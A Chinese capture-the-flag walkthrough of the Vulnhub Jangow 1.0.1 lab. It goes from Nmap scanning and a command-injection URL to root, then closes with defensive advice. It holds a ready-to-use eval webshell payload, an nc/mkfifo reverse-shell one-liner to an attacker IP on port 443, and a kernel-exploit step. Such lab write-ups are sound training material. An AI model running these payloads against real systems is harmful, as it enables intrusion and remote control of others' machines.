靶场地址:https://www.vulnhub.com/entry/jangow-101,754/
靶场IP:192.168.160.215
信息收集
使用Nmap对目标进行扫描
Nmap -sV -O -p- 192.168.160.215
经过漫长的等待扫描完成,该靶标开启了21、80两个端口,21端口运行服务为ftp,其版本为 vsftpd 3.0.3 ,80端口运行服务为Apache httpd 2.4.18,系统信息为 Linux 3.X|4.X
首先呢,我们访问80端口看有什么发现
可以看到这是一个目录遍历,有一个site目录,操作系统为Ubuntu,点击site目录
跳转到一个Web页面,页面右上角有三个模块,点击之后就是当前页面的下面部分,但是点击Buscar模块页面出现空白,但是出现如下链接
http://192.168.160.215/site/busque.php?buscar=
可以看到buscar未被赋值,猜测应该是代码执行或者是命令执行漏洞,那么就尝试一下输入命令看有无返回信息。
经过尝试发现可以进行命令执行。那么好我们姑且先暂时放下这块,我们一般看到这种URL可能会想到的操作就是扫描一下子它的目录,看有啥好东西。
发现有一个 .backup、site目录,我们就site目录继续深入扫描
通过两个目录扫描,共发现存在 .backup、/site/assets/、/site/css/、/site/index.html、/site/js、/site/wordpress/ 这几个目录和文件。
那我们就逐个去看一下
访问 .backup
文件显示的是数据库的连接账号和密码
通过这里的代码可知一些信息就是当前这个网站采用的可能是php+mysql,里面存在连接数据库的账密,但是在扫描的时候并没有看到数据库端口,猜测应该是对外关闭了。
http://192.168.160.215/site/assets/
介个是一个目录遍历,都是一些图片,没发现啥有用的信息。
http://192.168.160.215/site/css/styles.css 这里面都是前端的一些源码类似的,没用
http://192.168.160.215/site/wordpress/ 这个页面貌似与主页面一样的,没有啥可利用信息。
在信息收集阶段我们得到的有用的信息是,一个.backup里面存放着链接mysql的数据库账号密码,还有一个链接可以执行命令的。
漏洞利用
在信息收集阶段我们通过探测发现开放着除了80,还有一个21端口,那么对于ftp 21端口我们也是可以尝试渗透的,攻击的方法就是对21端口爆破FTP的密码,但是感觉希望不大。
但是突然想到这个靶场他就开着两个端口,那么我们刚才从80端口拿到一些敏感信息,那会不会在21上也会有用处呢,带着好奇心我们来尝试一下。
成功连接!
尝试上传马,但是FTP做了限制上传的限制。
既然上传不了,那就在寻找其他办法。
在翻阅目录时发现wordpress目录下的config.php文件找到了第二个用户和密码,和一个连接数据库的php脚本。
那么就尝试访问一下这个地址链接,访问地址测试数据库的连接失败了,应该是账密有问题。
在家目录下找到账户jangow01的flag:
现在找到了一个flag,但是呢!目前还没办法GetShell,思来想去,对了,我们刚刚有一个可以执行命令的链接,从哪里可不可以拿到WebShell呢,废话不多说,直接干!!!
执行命令看看当前目录有啥,路径是啥
那就尝试直接使用命令写入WebShell
http://192.168.160.215/site/busque.php?buscar=echo%20%27%3C?php%20@eval($_REQUEST[%27pass%27]);%20echo%20%27OK%27;?%3E%27%20%3E%20shell.php
使用命令ls查看一下是否写入成功
访问shell.php测试一下
使用蚁剑进行连接
查看当前权限
www-data权限,并开着3306数据库端口。尝试寻找账号密码进行Mysql UDF提权,但无果。
反弹Shell
查看靶机支持反弹Shell的方法
可以看到有bash、python、php、exec、perl
反弹Shell可以参考:https://forum.ywhack.com/shell.php
(反弹Shell弄了很久,尝试了各种反弹Shell都没有成功)
猜测可能是防火墙做了端口的限制;这里做个验证,在前面的信息收集中,靶机开启了22端口但是我们从外部没有扫描到;可以通过查看ssh的配置文件看看是否修改了端口;
这里看到配置文配置的端口还是22端口,可以确定是防火墙做了一些限制,于是就尝试了常用的端口,发现在443端口就可以成功反弹,使用nc进行反弹:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.160.158 443 >/tmp/f
成功接收到返回的Shell。
权限提升
查看系统版本
lsb_release -a ; uname -a
发现系统内核版本4.4 Ubuntu版本为16.04.1,通过在ExploitDB查找发现该版本存在有本地提权漏洞,也可以使用MSF搜索。
ExploitDB网址:https://www.exploit-db.com/
这里可以使用python调用本地的终端:
python -c 'import pty;pty.spawn("/bin/bash")'
这里使用su jangow01切换到jangow01用户下
将exp.c文件通过蚁剑上传至/tmp目录下,通过gcc将其编译可执行文件,修改可执行文件权限为777,使用./执行文件,获取root权限!!!
Flag在root目录下
到此渗透结束!!!
总结
过程回顾
本篇文章主要jangow1.0.1靶场渗透的过程进行后续分析,首先是通过Nmap对靶机进行端口和服务等信息的探测,发现目标存在Web服务和FTP服务,然后通过对目标网站进行扫描找到目标网站存在的备份文件,和其他网站路径,发现其带参数的URL,测试发现了命令执行漏洞,还通过备份文件中包含的用户和密码,登录上目标的FTP服务(但是没有上传权限)。
然后通过命令执行写入WebShell,然后通过分析发现靶机配置了防火墙规则只能通过固定的端口443向外传输数据,接着nc反弹Shell,使用python调用本地终端,最后使用Ubuntu 16.04本地提权漏洞进行权限提升,并获取了ROOT权限。
防御建议
1、敏感信息泄露:
1) 禁止在代码中存储敏感数据:禁止在代码中存储如数据库连接字符串、口令和密钥之类的敏感数据,这样容易导致泄密。用于加密密钥的密钥可以硬编码在代码中。
2) 禁止密钥或账号的口令以明文形式存储在数据库或者文件中:密钥或账号口令必须经过加密存储。
例外情况:如果Web容器的配置文件中只能以明文方式配置连接数据库的用户名和口令,那么就不用强制遵循该规则,将该配置文件的属性改为只有属主可读写。
2、命令执行漏洞:
- 尽量不去执行外部的应用程序或命令。
- 使用自定义函数或函数库实现外部应用程序或命令的功能。
- 在执行system、eval等命令执行功能的函数前,校验参数内容。
使用escapeshellarg函数处理相关参数。Escapeshellarg函数会将任何引起参数或命令结束的字符进行转义,如单引号(’)会被转义为(\’), 双引号(”)会被转义为(\”),分号(;)会被转义为(😉,这样escapeshellarg会将参数内容限制在一对单引号或双引号里面,转义参数中所包含的单引号或双引号,使其无法对当前执行进行截断,实现防范命令注入攻击的目的。
使用safe_mode_exec_dir执行可执行的文件路径。将php.ini文件中的safe_mode设置为on,然后将允许执行的文件放入一下目录中,并使用safe_mode_exec_dir指定这个可执行的文件路径。在需要执行相应的外部程序时,程序必须在safe_mode_exec_dir指定的目录中才会允许执行,否则执行将失败。
3、目录浏览
Apache中关闭目录浏览功能:打开Apache配置文件httpd.conf,查找 “Options IndexesFollowSymLinks” ,修改为 “Options -Indexes” (减号表示取消),保存退出,重启Apache。
4、Ubuntu 16.04本地提权漏洞:即使更新系统版本,下载安装最新补丁。
5、 加装WAF,防火墙等安全设备。
6、使用最小权限原则,严格控制用户访问权限。